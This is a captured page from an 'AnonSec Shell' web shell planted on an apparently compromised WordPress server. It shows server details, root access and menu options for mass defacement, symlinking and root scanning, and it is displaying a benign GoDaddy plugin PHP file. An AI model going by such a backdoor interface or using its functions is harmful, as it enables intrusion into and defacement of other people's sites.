AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 3.21.248.77   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/mu-plugins/vendor/wpex/godaddy-launch/includes/PublishGuide/GuideItems/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/mu-plugins/vendor/wpex/godaddy-launch/includes/PublishGuide/GuideItems/SiteInfo.php
<?php
/**
 * The SiteInfo class.
 *
 * @package GoDaddy
 */

namespace GoDaddy\WordPress\Plugins\Launch\PublishGuide\GuideItems;

/**
 * The SiteInfo class.
 */
class SiteInfo extends GuideItemAbstract {
	/**
	 * Determins if the guide item should be enabled.
	 *
	 * @return bool
	 */
	public function is_enabled() {
		return true;
	}

	/**
	 * Return if the guide item has been completed.
	 *
	 * @return bool
	 */
	public function is_complete() {
		if ( get_option( $this->option_name() ) ) {
			return true;
		}

		$conditions = array(
			$this->has_site_title(),
			$this->has_site_description(),
		);

		$has_incomplete = array_filter(
			$conditions,
			function( $val ) {
				return empty( $val );
			}
		);

		return empty( $has_incomplete );
	}

	/**
	 * Returns the option_name of the GuideItem used in the wp_options table.
	 *
	 * @return string
	 */
	public function option_name() {
		return 'gdl_pgi_site_info';
	}

	/**
	 * Returns the milestone name of the GuideItem used in the nux api.
	 *
	 * @return string
	 */
	public function milestone_name() {
		return 'site-info';
	}

	/**
	 * Determine if the site has a title.
	 *
	 * @return bool
	 */
	private function has_site_title() {
		$blogname = get_option( 'blogname' );
		return ! empty( $blogname ) && ! in_array( $blogname, $this->default_strings(), true );
	}

	/**
	 * Determine if the site has a description.
	 *
	 * @return bool
	 */
	private function has_site_description() {
		$blogdescription = get_option( 'blogdescription' );
		return ! empty( $blogdescription ) && ! in_array( $blogdescription, $this->default_strings(), true );
	}

	/**
	 * Returns an array of default strings possible in site info options.
	 *
	 * We need to use a function so we can utilize tranlation functions.
	 *
	 * @return array
	 */
	private function default_strings() {
		return array(
			__( 'Just another WordPress site', 'godaddy-launch' ),
			__( 'A WordPress Site', 'godaddy-launch' ),
		);
	}
}

Anon7 - 2022
AnonSec Team